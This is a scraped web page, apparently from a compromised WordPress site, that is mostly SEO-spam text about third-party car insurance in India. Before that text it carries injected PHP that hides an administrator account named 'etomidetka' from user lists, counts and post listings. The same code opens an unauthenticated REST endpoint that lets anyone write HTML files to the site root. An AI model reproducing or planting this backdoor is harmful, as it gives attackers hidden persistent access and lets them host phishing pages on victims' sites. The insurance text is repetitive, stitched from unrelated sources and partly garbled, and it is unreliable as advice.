//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Branded content: Third-party motor insurance cover with Bajaj Allianz – ML STUDIO

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Branded content: Third-party motor insurance cover with Bajaj Allianz

is third party insurance enough for car
is third party insurance enough for car

As such, you get compensated even when your car is damaged or stolen. Moreover, with the optional add-on coverage benefits, you can add further layers of protection and get 360-degree coverage. Go for an insurance policy that offers adequate coverage and charges fair insurance premium. Nowadays, it has become extremely easy to purchase car insurance online.

  • In an ideal scenario, every vehicle should have a third-party liability insurance policy, but that is not the case in India where nearly 60% of vehicles are uninsured.
  • Just like most other insurance providers, a third-party plan with ICICI Lombard has a tenure of one year.
  • Thanks to your salesperson, my experience of purchasing car insurance from ICICI Lombard was remarkably smooth.
  • Earlier, only a third-party insurance policy was available separately, not an OD policy.
  • Vehicle insurance, especially a third party car insurance, is essential to ensure you are driving without any risk in India.

Often, they will file the claim with the driver’s insurance company for you after working with the other insurer to determine fault. The third number is the overall payment limit per accident for property damage. It’s how much your insurance will cover the total cost of property damage in an accident. For example, if you rammed into a barn and it costs $6,000 to repair it, your insurance will cover the expenses. Your state will most likely have policy minimums, but otherwise, you’re free to choose the right mix for your own needs.

Even though it doesn’t cover your own damages, you are protected from paying a large sum of money as compensation to third party damages resulted in an accident with your car. Let’s face it, even if you’re the best driver in the world, accidents do happen. And while motor insurance cannot prevent accidents from happening, it can shield you from the financial impact. Having motor insurance, especially third-party insurance, is critical because it not only eases the financial burden, but it is also mandated by the law. Although it is a basic coverage option, it gives the policyholders peace of mind knowing that they have sufficient financial protection against the damage they may cause to other people in an accident.

How to get the cheapest Third-party car insurance?

It is a type of insurance cover where the insurer offers protection against damage to the third-party vehicle, personal property and physical injury. According to the Motor Vehicles Act of 1988 governs the traffic rules in India, every car which runs on Indian roads should have valid third-party coverage on it. The third-party car insurance policy is the bare minimum insurance cover that is a must for every car. The cover protects the interest of third parties if they suffer any financial losses due to the car. According to Section 146 of the Motor Vehicle Act, 1988, if you own a motor vehicle, it is mandatory for you to own third-party insurance cover, also called ‘liability only’ or ‘act only’ cover. This is usually a part of the main car insurance, however, in addition to this, you can also get a separate comprehensive car insurance plan.

Importance of having a health insurance during these testing times cannot be stressed enough. A discount of 7.5% on Motor TP premium rates for Hybrid Electric Vehicles is proposed. This will be an incentive to use environmentally friendly vehicles. Section 147 lays down the limits of liability of the insurer.

is third party insurance enough for car

It also covers against damage done to a third-party person’s property as a result of an accident involving the insured vehicle. This policy does not provide coverage against damage done to your own vehicle or to your own self. The biggest advantage of comprehensive car insurance is that it covers all kinds of damages to the vehicle such as personal accident, third–party liabilities and theft. Besides, the cover also protects from damages due to natural and manmade disasters such as fire, strikes and riots. This end-to-end coverage will save you from costly repair works in case of a mishap.

Only comprehensive insurance offers financial protection against vehicle theft. Third-party car insurance works by insuring the policyholder against liabilities arising due to injury sustained by a third party or damage to a third party’s property by the insured car. In such a scenario, the third party will most likely demand compensation to treat injuries or repair damages from the car’s owner. Your agent helped me to understand the benefits of the policy, such as coverage against third-party liabilities as well as roadside assistance for minor repairs and accommodation. She deserves a good rating for providing me with much-needed guidance. With a third-party insurance cover, you legally comply with the requirements of the Motor Vehicles Act.

Easy purchase process

You cannot further claim your insurer and will need to pay out of your own pocket to cover the damage. Third-party insurance plans will provide you with financial protection if there is a case of injury, disability, or death of the third party or damage to their property or vehicle. This policy protects your financial and legal liability in such a case. Or, a bundled cover with a 3- or 5-year term for the third-party cover and a 1-year term for the OD cover.

is third party insurance enough for car

Claim settlement in a third party insurance policy is a complex process. You cannot simply call your insurance company to take care of the matter. The steps to raise a claim might be different on a claim-to-claim basis. Here’s a broad overview of the steps that are involved in settling a Third-party claim. You have the option to choose a different insurer while renewing your policy.

ICICI Lombard will cover all liabilities that are included in the terms and conditions of your coverage. We will compensate the third-party for injuries and property damage. Hence, having a third-party insurance cover reduces the financial burden in the case of an accident or any other mishap.

A third-party insurance policy will save you only from third-party liabilities. Remember, accidents do not come with prior notice and can cause huge damage to the driver and the insured car as well. Therefore, for complete protection, it is important to get the right insurance policy such as comprehensive car insurance. A comprehensive plan comes with several benefits that are not available in third-party insurance. It gives additional protection in case of an accident or an unfortunate event.

Liabilities, losses or damages due to war, war related operations or invasions. Claims resulting out of using the car outside the ‘limitations as to use’ terms or clauses. Raising a claim requires legal proceedings so be prepared with proper documentation before appearing in court. Personal injury cases are brought about by physical injury or mental anguish caused by actions or negligence of another party. Personal Injury cases can include Auto Accidents, Defamation of Character, Product Defects and Medical Malpractice to name just a few. Driver not holding valid driving license or have been disqualified for holding such license.

A Third-party Liability car insurance policy is designed to cover the third parties that might be affected by your car. It is mandatory as per The Motor Vehicles Act, 1988 and driving without a Third-party Liability policy is a punishable offense. However, it is not the most ideal coverage with regards to the above-mentioned purpose of insurance. Your reason for purchasing an insurance policy should not be just to meet the legal requirement but to ensure the protection of others and yourself in the face of an accident. Not having the right policy cover can cost you big, in terms of money and stress.

Third-party insurance protects customers against financial ruin from potential claims for injuries or damages they may cause to another person. In other words, when you purchase this coverage, it’s designed to protect you financially if someone files a claim against you. A few third-party liability coverage policies include commercial liability insurance, homeowners insurance, and auto insurance. With litigation being a typical response to injury and property damage, you never know when you might be the recipient of a filed claim. A comprehensive cover comes with many optional riders that provide additional coverage at a cost. The riders are designed to enhance the cover for a nominal amount.

Adding riders to the insurance policy is a great way to enhance the cover and reduce the out of pocket expenses in case of damage. You can choose the riders keeping your requirements in mind and they can be purchased at any time. Remember to renew the insurance policy regularly to ensure that you are covered at all times. If you fail to renew the policy, it could lapse and your claim may not be accepted by the insurance company. Third-party Car Insurance refers to an insurance policy that covers third-party liabilities. In other words, it covers damages to the third-party (property/life) caused by your vehicle.

Historical Background of third Party Insurance

Accidents put you at a great risk of not just property damage but also of physical harm to both parties involved. If the accident was caused by your car, you are liable to compensate for any injury or death caused to others. In a third-party plan, the coverage for third party is third party insurance enough for car injury is unlimited; the exact amount is decided by a court. Vehicle insurance, especially a third party car insurance, is essential to ensure you are driving without any risk in India. That is the reason third-party insurance was made mandatory by the Motor Vehicles Act.

For more details on risk factors, terms, conditions and exclusions, please read the policy wordings carefully before concluding a sale. You can go online, compare the prices of premium offered by different insurers and then, choose the best suitable option. Any injury to you or damage to your vehicle is not covered by third-party insurance.

Is it possible to renew a third-party car insurance policy online if I had purchased it offline?

This insurance policy also aids you if there is any case of injury or death of a third-party due to your insured vehicle. A comprehensive insurance policy covers your financial and legal liabilities towards the third party and safeguards you and your vehicle. Some companies like Acko provide 24/7 assistance, offer a free pick-up facility, repair at a network garage, and drop the cars at your doorstep. So any liability arising on the insured by the third party is mitigated by the insurance company. Third party insurance is compulsory under the motor vehicles Act,1988. As the third party insurance is mandatory so it cannot be overridden be any clause in the insurance policy.

Traffic police in the country have the right to stop you and ask you to show the necessary documentation. At this time, if you cannot show a valid insurance policy, you will be subjected to a fine of at least INR 2,000. Depending on your driving record, you may also have to face imprisonment. My experience with ICICI Lombard’s customer care department has been very good. The executive that I spoke to was professional and courteous.

What does third-party auto insurance cover?

Hence, you have to buy a third-party car insurance to address any harm or damage that may come to another person or his/her property in an accident with your car. With the right long term car insurancecover, you will be able to enjoy your car without worrying about the cost of repairs or damages in case of an accident or event. Whether it is a third-party liability or a personal accident, you will be covered under comprehensive car insurance.

In the event of an accident, the insured must inform the insurance company about it immediately before filing for a claim. If you have an accident, you contact your auto insurance company as soon as possible. The other driver’s insurance company usually handles a third-party property damage claim immediately after the accident and separately from any personal injury claim related to the accident. The cost of third-party auto insurance depends on the amount of coverage you buy. While the average cost of full coverage auto insurance is $1,721 per year, third-party liability insurance is often cheaper on its own.

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